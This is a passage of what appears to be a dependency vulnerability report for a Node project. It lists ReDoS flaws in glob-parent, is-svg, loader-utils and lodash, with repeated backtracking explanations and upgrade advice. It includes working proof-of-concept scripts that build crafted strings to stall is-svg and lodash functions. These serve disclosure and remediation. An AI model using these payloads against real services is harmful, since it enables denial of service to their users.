The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade glob-parent to version 5.1.2 or higher.
References
medium severity
- Vulnerable module: is-svg
- Introduced through: css-loader@0.25.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0Remediation: Upgrade to css-loader@1.0.0.
Overview
is-svg is a Check if a string or buffer is SVG
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input for a very long time.
You are only affected if you use this package on a server that accepts SVG as user-input.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade is-svg to version 4.2.2 or higher.
References
medium severity
- Vulnerable module: is-svg
- Introduced through: css-loader@0.25.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0Remediation: Upgrade to css-loader@1.0.0.
Overview
is-svg is a Check if a string or buffer is SVG
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the removeDtdMarkupDeclarations and entityRegex regular expressions, bypassing the fix for CVE-2021-28092.
PoC by Yeting Li
//1) 1st ReDoS caused by the two sub-regexes [A-Z]+ and [^>]* in `removeDtdMarkupDeclarations`.
const isSvg = require('is-svg');
function build_attack1(n) {
var ret = '<!'
for (var i = 0; i < n; i++) {
ret += 'DOCTYPE'
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack1(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//2) 2nd ReDoS caused by ? the first sub-regex \s* in `entityRegex`.
function build_attack2(n) {
var ret = ''
for (var i = 0; i < n; i++) {
ret += ' '
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack2(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//3rd ReDoS caused by the sub-regex \s+\S*\s* in `entityRegex`.
function build_attack3(n) {
var ret = '<!Entity'
for (var i = 0; i < n; i++) {
ret += ' '
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack3(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//4th ReDoS caused by the sub-regex \S*\s*(?:"|')[^"]+ in `entityRegex`.
function build_attack4(n) {
var ret = '<!Entity '
for (var i = 0; i < n; i++) {
ret += '\''
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack4(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade is-svg to version 4.3.0 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: babel-loader@6.4.1, css-loader@0.25.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-loader@6.4.1 › loader-utils@0.2.17Remediation: Upgrade to babel-loader@7.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › loader-utils@0.2.17Remediation: Upgrade to css-loader@0.26.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the resourcePath variable in interpolateName.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: babel-loader@6.4.1, css-loader@0.25.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-loader@6.4.1 › loader-utils@0.2.17Remediation: Upgrade to babel-loader@7.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › loader-utils@0.2.17Remediation: Upgrade to css-loader@0.26.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in interpolateName function via the URL variable.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to grunt-contrib-jst@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-cursor@0.0.6 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-adapter@0.10.7 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-backend@0.12.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-controller@0.10.9 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-gruntfile@0.10.11 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-model@0.10.12 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-sails.io.js@0.13.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views@0.10.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views-jade@0.10.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › zip-stream@0.4.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › merge-defaults@0.1.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › sails-generate-sails.io.js@0.14.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › switchback@2.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-criteria@0.11.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › rttc@1.0.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to grunt-contrib-watch@1.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › include-all@1.0.8 › lodash@3.10.1Remediation: Upgrade to include-all@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails-disk@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › lodash@3.10.1Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › include-all@1.0.8 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rttc@9.3.3 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › lodash@3.10.1Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-schema@0.2.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › lodash@3.9.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-new@0.10.29 › lodash@3.9.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › lodash@2.4.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › rttc@9.3.4 › lodash@3.8.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-sequel@0.5.7 › lodash@3.10.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
POC
var lo = require('lodash');
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)
var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)
var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
